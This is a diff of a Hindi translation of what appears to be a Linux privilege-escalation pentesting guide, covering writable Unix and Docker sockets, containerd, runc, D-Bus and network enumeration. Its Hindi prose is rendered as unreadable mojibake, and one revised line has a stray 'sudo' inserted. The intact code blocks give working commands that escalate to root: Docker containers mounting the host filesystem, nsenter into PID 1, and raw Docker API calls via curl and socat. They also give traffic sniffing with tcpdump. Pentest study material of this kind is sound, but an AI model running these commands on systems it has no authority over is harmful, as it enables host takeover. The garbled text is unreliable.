рдХреА_), рддреЛ рдЖрдк рдЙрд╕ socket рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╡рддрдГ рдХрд┐рд╕реА vulnerability рдХрд╛ exploit рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк рдХреЛрдИ рднреА writable socket рдкрд╣рдЪрд╛рдирддреЗ рд╣реИрдВ (рдЕрдм рд╣рдо Unix Sockets рдХреА рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рди рдХрд┐ config `.socket` files), рддреЛ рдЖрдк рдЙрд╕ socket рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж рдХрд┐рд╕реА vulnerability рдХреЛ exploit рдХрд░ рд╕рдХреЗрдВрдЧреЗред -### Unix Sockets рдХреА рд╕реВрдЪреА рдмрдирд╛рдирд╛ +### Unix Sockets рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ ```bash netstat -a -p --unix ``` @@ -508,36 +505,36 @@ socket-command-injection.md ### HTTP sockets -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **sockets listening for HTTP** requests рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдпрд╣рд╛рдБ рдореЗрд░рд╛ рдорддрд▓рдм .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рдирд╣реАрдВ рд╣реИ рдмрд▓реНрдХрд┐ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рд╣реИ рдЬреЛ unix sockets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВ_)ред рдЖрдк рдЗрд╕реЗ рдирд┐рдореНрди рд╕реЗ рдЬрд╛рдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреБрдЫ **sockets listening for HTTP** requests рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (_рдпрд╣рд╛рдБ рдореЗрд░рд╛ рддрд╛рддреНрдкрд░реНрдп .socket рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рд╣реИ рдЬреЛ unix sockets рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИрдВред_). рдЖрдк рдЗрд╕реЗ рдирд┐рдореНрди рд╕реЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -рдпрджрд┐ socket **responds with an HTTP** request, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╡рддрдГ **exploit some vulnerability** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ socket **responds with an HTTP** request, рддреЛ рдЖрдк рдЗрд╕рдХреЗ рд╕рд╛рде **communicate** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢рд╛рдпрдж рдХреБрдЫ **exploit some vulnerability** рднреА рдХрд░ рдкрд╛рдПрдБред -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп Docker Socket +### Writable Docker Socket -Docker socket, рдЬреЛ рдЕрдХреНрд╕рд░ `/var/run/docker.sock` рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдПред рдбреАрдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ `root` рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ `docker` рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рд╕реЙрдХреЗрдЯ рдкрд░ write access рд╣реЛрдиреЗ рд╕реЗ privilege escalation рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдиреАрдЪреЗ рдЗрд╕рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХреЗ рдпрджрд┐ Docker CLI рдЙрдкрд▓рдмреНрдз рди рд╣реЛред +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ `root` user рдФрд░ `docker` group рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рджреНрд╡рд╛рд░рд╛ writable рд╣реЛрддрд╛ рд╣реИ. рдЗрд╕ socket рдкрд░ write access рд╣реЛрдирд╛ privilege escalation рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ. рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХреЗ рдХреНрдпрд╛ рд╣реИрдВ рдпрджрд┐ Docker CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред #### **Privilege Escalation with Docker CLI** -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Docker socket рдкрд░ write access рд╣реИ, рддреЛ рдЖрдк рдирд┐рдореНрди commands рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Docker socket рдкрд░ write access рд╣реИ, рддреЛ рдЖрдк рдирд┐рдореНрди commands рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -рдпреЗ рдХрдорд╛рдВрдб рд╣реЛрд╕реНрдЯ рдХреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рдХреЗ рд╕рд╛рде рдПрдХ container рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред +These commands allow you to run a container with root-level access to the host's file system. -#### **Docker API рдХрд╛ рдкреНрд░рддреНрдпрдХреНрд╖ рдЙрдкрдпреЛрдЧ** +#### **Using Docker API Directly** -рдпрджрд┐ Docker CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, рддреЛ Docker socket рдХреЛ рдЕрднреА рднреА Docker API рдФрд░ `curl` рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдБ Docker CLI рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ, Docker socket рдХреЛ Docker API рдФрд░ `curl` commands рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрднреА рднреА рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -1. **List Docker Images:** рдЙрдкрд▓рдмреНрдз Docker images рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** рдРрд╕рд╛ container рдмрдирд╛рдиреЗ рдХрд╛ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬреЛ host system рдХреА root directory рдХреЛ mount рдХрд░реЗред +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +546,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** container рд╕реЗ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `socat` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕рдХреЗ рднреАрддрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд╕рдХреЗрдВред +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +556,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` рдХрдиреЗрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк container рдореЗрдВ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ host рдХреА filesystem рдкрд░ root-рд╕реНрддрд░реАрдп рдкрд╣реБрдБрдЪ рд╣реЛрдЧреАред +`sudo` `socat` рдХрдиреЗрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдк container рдХреЗ рдЕрдВрджрд░ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ host рдХреА filesystem рдкрд░ root-level рдкрд╣реБрдВрдЪ рд╣реЛрддреА рд╣реИред ### Others -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ docker socket рдкрд░ write permissions рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк **inside the group `docker`** рд╣реИрдВ рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)ред рдпрджрд┐ [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)ред -Check **more ways to break out from docker or abuse it to escalate privileges** in: +рдЬрд╛рдБрдЪреЗрдВ **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -574,7 +571,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -рдпрджрд┐ рдЖрдк `ctr` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **`ctr`** command рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -583,7 +580,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -рдпрджрд┐ рдЖрдк `runc` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **`runc`** command рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -592,15 +589,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus рдПрдХ рдкрд░рд┐рд╖реНрдХреГрдд **inter-Process Communication (IPC) system** рд╣реИ рдЬреЛ applications рдХреЛ рдХреБрд╢рд▓рддрд╛рдкреВрд░реНрд╡рдХ interact рдФрд░ data share рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ Linux рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдХрд░ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛, рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА application communication рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдлреНрд░реЗрдорд╡рд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +D-Bus рдПрдХ рдкрд░рд┐рд╖реНрдХреГрдд inter-Process Communication (IPC) system рд╣реИ рдЬреЛ applications рдХреЛ рдХреБрд╢рд▓рддрд╛рдкреВрд░реНрд╡рдХ interact рдФрд░ data share рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ Linux рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдХрд░ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ application communication рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬрдмреВрдд рдлреНрд░реЗрдорд╡рд░реНрдХ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдмрд╣реБрдореБрдЦреА рд╣реИ, рдмреБрдирд┐рдпрд╛рджреА IPC рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ **enhanced UNIX domain sockets** рдХреА рддрд░рд╣ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ events рдпрд╛ signals рдХреЗ рдмреНрд░реЙрдбрдХрд╛рд╕реНрдЯ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕ рдХреЗ рдмреАрдЪ рд╕рд╣рдЬ рдПрдХреАрдХрд░рдг рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, incoming call рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ Bluetooth daemon рдХрд╛ рдПрдХ signal рдПрдХ music player рдХреЛ mute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрднрд╡ рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред рд╕рд╛рде рд╣реА, D-Bus remote object system рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ applications рдХреЗ рдмреАрдЪ service requests рдФрд░ method invocations рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ streamline рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬрдЯрд┐рд▓ рдереАрдВред +рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдмрд╣реБрдореБрдЦреА рд╣реИ, рдмреБрдирд┐рдпрд╛рджреА IPC рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬ рдХреЛ рдмреЗрд╣рддрд░ рдмрдирд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ enhanced UNIX domain sockets рдЬреИрд╕рд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рджрд┐рдЦрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ events рдпрд╛ signals рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдШрдЯрдХреЛрдВ рдХреЗ рдмреАрдЪ seamless integration рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Bluetooth daemon рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╕рд┐рдЧреНрдирд▓ рдХрд┐рд╕реА music player рдХреЛ mute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ user experience рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, D-Bus рдПрдХ remote object system рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдЕрдиреБрд░реЛрдз рдФрд░ applications рдХреЗ рдмреАрдЪ method invocations рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬрдЯрд┐рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рд╣рдЬ рдмрдирд╛рддрд╛ рд╣реИред -D-Bus рдПрдХ **allow/deny model** рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ message permissions (method calls, signal emissions, рдЖрджрд┐) рдХреЛ matching policy rules рдХреЗ рд╕рдореБрдЪреНрдЪрдп рдкреНрд░рднрд╛рд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ policies bus рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдФрд░ рдЗрди permissions рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рд╕реЗ рд╕рдВрднрд╡рддрдГ privilege escalation рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИрдВред +D-Bus рдПрдХ allow/deny model рдкрд░ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬреЛ matching policy rules рдХреЗ рд╕рдВрдЪрдпреА рдкреНрд░рднрд╛рд╡ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕рдВрджреЗрд╢реЛрдВ (method calls, signal emissions, рдЖрджрд┐) рдХреА рдЕрдиреБрдорддрд┐/рдирд┐рд╖реЗрдз рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпреЗ рдиреАрддрд┐рдпрд╛рдБ bus рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ, рдФрд░ рдЗрди permissions рдХреЗ рд╢реЛрд╖рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ privilege escalation рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдРрд╕реА рдПрдХ policy рдХрд╛ рдЙрджрд╛рд╣рд░рдг `/etc/dbus-1/system.d/wpa_supplicant.conf` рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ root user рдХреЗ рд▓рд┐рдП `fi.w1.wpa_supplicant1` рдХреЗ рдорд╛рд▓рд┐рдХ рд╣реЛрдиреЗ, рдЗрд╕реЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА permissions рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИред +рдПрдХ рдЙрджрд╛рд╣рд░рдг рдиреАрддрд┐ `/etc/dbus-1/system.d/wpa_supplicant.conf` рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ root user рдХреЗ рд▓рд┐рдП `fi.w1.wpa_supplicant1` рдХреЛ own, send рдФрд░ receive рдХрд░рдиреЗ рдХреА permissions рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддреА рд╣реИред -Policies рдЬрд┐рдирдореЗрдВ рдХрд┐рд╕реА user рдпрд╛ group рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рд╣реИ рд╡реЗ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ, рдЬрдмрдХрд┐ "default" context policies рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдЕрдиреНрдп рд╡рд┐рд╢рд┐рд╖реНрдЯ policies рдХреЗ рддрд╣рдд рдирд╣реАрдВ рдЖрддреЗред +рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ user рдпрд╛ group рдХреЗ рдмрд┐рдирд╛ policies рд╕рд░реНрд╡рддреНрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ, рдЬрдмрдХрд┐ "default" context policies рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдЕрдиреНрдп рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рд╣реИрдВред ```xml @@ -609,7 +606,7 @@ Policies рдЬрд┐рдирдореЗрдВ рдХрд┐рд╕реА user рдпрд╛ group рдХрд╛ рдирд┐рд░реН ``` -**рдпрд╣рд╛рдБ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ D-Bus communication рдХреЛ enumerate рдФрд░ exploit рдХрд░рдирд╛ рд╣реИ:** +**рдпрд╣рд╛рдБ D-Bus communication рдХреЛ enumerate рдФрд░ exploit рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЬрд╛рдиреЗрдВ:** {{#ref}} @@ -618,9 +615,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Network** -рдпрд╣ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИ network рдХреЛ enumerate рдХрд░рдирд╛ рдФрд░ рдорд╢реАрди рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ред +рдпрд╣ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИ рдХрд┐ network рдХреЛ enumerate рдХрд░рдХреЗ рдорд╢реАрди рдХреА рд╕реНрдерд┐рддрд┐ рдкрддрд╛ рдХрд░реЗрдВред -### Generic enumeration +### рд╕рд╛рдорд╛рдиреНрдп enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -643,24 +640,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### рдЦреБрд▓реЗ рдкреЛрд░реНрдЯ +### Open ports -рд╣рдореЗрд╢рд╛ рдЙрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдЬреЛ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реА рд╣реЛрдВ рдФрд░ рдЬрд┐рдирд╕реЗ рдЖрдк рдЙрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЗрдВрдЯрд░реИрдХреНрдЯ рдирд╣реАрдВ рдХрд░ рдкрд╛рдП рдереЗ: +рд╣рдореЗрд╢рд╛ рдЙрд╕ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реА network services рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдЬрд┐рдирд╕реЗ рдЖрдк рдЙрд╕реЗ access рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ interact рдирд╣реАрдВ рдХрд░ рдкрд╛рдП рдереЗ: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк sniff traffic рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд░ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ credentials рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк sniff traffic рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ credentials рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` timeout 1 tcpdump ``` ## рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ -### рд╕рд╛рдорд╛рдиреНрдп рдПрдиреНрдпреВрдорд░реЗрд╢рди +### рд╕рд╛рдорд╛рдиреНрдп Enumeration -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдЖрдк **рдХреМрди** рд╣реИрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди 